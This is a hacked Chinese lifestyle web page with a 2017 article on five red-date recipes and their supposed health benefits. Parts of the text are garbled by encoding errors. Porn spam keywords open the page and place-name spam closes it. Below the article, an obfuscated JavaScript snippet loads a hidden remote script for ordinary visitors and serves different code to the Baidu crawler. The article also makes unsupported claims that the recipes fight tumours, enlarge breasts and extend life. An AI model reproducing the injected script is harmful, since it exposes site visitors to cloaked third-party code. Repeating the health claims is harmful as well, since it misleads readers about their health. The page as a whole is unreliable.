亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

紅棗怎樣吃有營(yíng)養(yǎng)呢

2017-07-11 23:08:22  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):紅棗大家一定是不陌生的,在生活中常常會(huì)見(jiàn)到一些女性朋友們買(mǎi)一些紅棗補(bǔ)補(bǔ)身體。就是因?yàn)榧t棗有著補(bǔ)血的作用,同時(shí)還有很多治療身體不適情

紅棗大家一定是不陌生的,在生活中常常會(huì)見(jiàn)到一些女性朋友們買(mǎi)一些紅棗補(bǔ)補(bǔ)身體。就是因?yàn)榧t棗有著補(bǔ)血的作用,同時(shí)還有很多治療身體不適情況的作用,尤其是對(duì)于女性朋友們來(lái)說(shuō)。只是當(dāng)然大家也知道不同的吃法當(dāng)然帶來(lái)的效果也是不一樣的,那么,紅棗怎樣吃有營(yíng)養(yǎng)呢?

1、紅棗泡水,養(yǎng)肝排毒

紅棗的一個(gè)沖泡細(xì)節(jié)決定著它功效的高低。紅棗果皮堅(jiān)韌不好消化,如果整顆沖泡,很難將其有效成分完全溶出,因此最好將其掰開(kāi)再?zèng)_泡。

還要注意的是,新鮮的紅棗不宜沖泡或煎煮。這是因?yàn)樗木S生素C含量非常高,用熱水煮泡會(huì)嚴(yán)重破壞維C。

2、紅棗泡茶,補(bǔ)氣護(hù)嗓

材料:紅棗20g,桂圓15g,紅糖30g,水500g

做法:先將紅棗洗凈、去核,桂圓去皮、核,然后將紅棗、桂圓肉同時(shí)放燉杯內(nèi),放入清水500g,置武火燒沸,再用文火燉煮35分鐘,加入紅糖攪勻即成。

功效:補(bǔ)氣血,益脾胃。適用于貧血、神經(jīng)衰弱、失眠、脾胃虛弱癥;適合教師、營(yíng)業(yè)員等使用嗓子頻率較高的人。紅棗對(duì)促進(jìn)血液循環(huán)、暢通乳腺很有幫助,而且它和桂圓都具有極佳的補(bǔ)血養(yǎng)氣效果,將二者結(jié)合起來(lái),能起到豐胸的作用。若紅棗炒黑后泡茶喝,可治療胃寒、胃痛。

3、紅棗熬湯,止咳潤(rùn)肺

材料:銀耳20克(大約半朵),紅棗20顆,冰糖60克(可根據(jù)各人的口味添減分量)

做法:把銀耳放在清水中發(fā)開(kāi),摘去蒂頭,撕成小塊,紅棗、冰糖一起放到鍋里;加水6碗,大火煮開(kāi)后,改用文火再煮半個(gè)小時(shí),即可熄火。

功效:用于治肺熱咳嗽、肺燥干咳、婦女月經(jīng)不調(diào)、胃炎、大便秘結(jié)等病癥。它能提高肝臟解毒能力,保護(hù)肝臟,它不但能增強(qiáng)機(jī)體抗腫瘤的免疫能力,還能增強(qiáng)腫瘤患者對(duì)放療、化療的耐受力。它也是一味滋補(bǔ)良藥,特點(diǎn)是滋而不膩滯,具有補(bǔ)脾開(kāi)胃、益氣清腸、安眠健胃、補(bǔ)腦、養(yǎng)陰清熱、潤(rùn)燥之功,對(duì)陰虛火旺不受參茸等溫?zé)嶙萄a(bǔ)的病人是一種良好的補(bǔ)品。銀耳富有天然特性膠質(zhì),加上它的滋陰作用,長(zhǎng)期服用可以潤(rùn)膚,并有祛除臉部黃褐斑、雀斑的功效。

4、紅棗煮蛋,補(bǔ)血養(yǎng)顏

材料:紅棗,桂圓,一個(gè)雞蛋

做法:用紅棗加桂圓煲紅糖水,到棗爛桂圓綿時(shí),打只雞蛋,繼續(xù)用小火焐熟雞蛋。

功效:紅棗、桂圓和紅糖都有補(bǔ)血的功效,煮出的雞蛋很滋補(bǔ),久服有推遲衰老、延年益壽的效果。

5、紅棗熬粥,安神助眠

材料:小米,紅棗

做法:紅棗提前用水泡軟;小米洗干凈,放入適量水,再加上紅棗;大火燒開(kāi)后,轉(zhuǎn)小火煮。適量百合、蓮子搭配紅棗調(diào)理,可更好地發(fā)揮紅棗安神的效用。

功效:對(duì)植物神經(jīng)紊亂、更年期綜合癥者,有清虛火、安心神、治失眠之療效;氣血雙補(bǔ),中醫(yī)上講,女性有躁郁不安、心神不寧等癥狀,因此特別適合于女性。還適合給消化不良、伴有厭食的脾虛的孩子食用。

關(guān)于紅棗怎樣吃有營(yíng)養(yǎng)呢,上文中給大家介紹了五種紅棗的吃法,相信大家看過(guò)之后也是很容易就可以做出來(lái)的。女孩子本身就是心靈手巧的,所以說(shuō)這些根本就不會(huì)覺(jué)得很復(fù)雜,當(dāng)然紅棗搭配著別的食物給人的身體帶來(lái)的營(yíng)養(yǎng)是更多的。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
石河子市| 武城县| 镇江市| 沂源县| 苏尼特右旗| 府谷县| 梓潼县| 东阿县| 天水市| 酉阳| 施甸县| 青田县| 澳门| 贵南县| 彭泽县| 汉中市| 巫山县| 沽源县| 兴宁市| 伊吾县| 枞阳县| 林周县| 北京市| 宜丰县| 三都| 河东区| 九江县| 安宁市| 固原市| 萝北县| 荆门市| 曲麻莱县| 泰顺县| 龙口市| 尤溪县| 新野县| 祥云县| 黄陵县| 北海市| 丹棱县| 都江堰市|